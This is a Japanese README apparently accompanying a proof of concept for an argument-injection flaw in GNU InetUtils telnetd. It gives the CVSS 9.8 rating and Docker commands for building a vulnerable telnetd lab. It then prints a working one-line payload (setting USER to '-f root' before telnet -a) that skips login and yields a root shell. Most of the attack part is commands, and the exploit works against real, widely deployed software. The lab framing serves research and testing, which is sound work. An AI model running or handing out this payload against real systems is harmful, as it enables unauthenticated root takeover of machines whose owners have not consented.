
GNU InetUtils telnetd の脆弱性により、リモートからのルートアクセスが可能になる
GNU InetUtils telnetd で最近発見された引数インジェクションの脆弱性により、攻撃者は USER 環境変数を「-f root」に設定することで認証を回避できます。その結果、リモートの未認証攻撃者が脆弱な telnetd サービスを実行しているシステムにアクセスし、root への権限昇格が可能になります。この脆弱性が悪用されると、攻撃者は機密情報へのアクセス、システム設定の変更、任意のコマンド実行が可能になり、システム全体の完全な侵害につながる可能性があります。
| CVSS 詳細 | CNA (MITRE) |
|---|
| 基本スコア | 9.8 |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 攻撃元区分 | ネットワーク |
| 攻撃条件の複雑さ | 低 |
| 必要な特権レベル | なし |
| ユーザー操作 | なし |
| スコープ | 変更なし |
| 機密性への影響 | 高 |
| 完全性への影響 | 高 |
| 可用性への影響 | 高 |
| CVSSv3 バージョン | 3.1 |
私たちは、この脆弱性を生み出したコード変更(62行目)を示す、2015年の以下のコミットにアクセスできました。
この README の目的は、この CVE を生成したすべての手順ではなく、エクスプロイトの実行を示すことだけです。ただし、意図としては %U プレースホルダーを USER 環境変数から取得した値に置き換えることです。この特定の環境変数はユーザーが制御可能であり、Telnet プロトコルを介して操作できます 🔥 。
このテストでは、Docker Hub のイメージを使用して、脆弱なバージョンの InetUtils を含む2つのコンテナを作成しました。
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
以下のペイロードを使用して、USER 変数を置き換え、認証システムをバイパスします。
USER="-f root" telnet -a 172.17.0.3
inetutils のバージョンを確認してください
hostname --version
telnetd --version
また次回お会いしましょう :wink: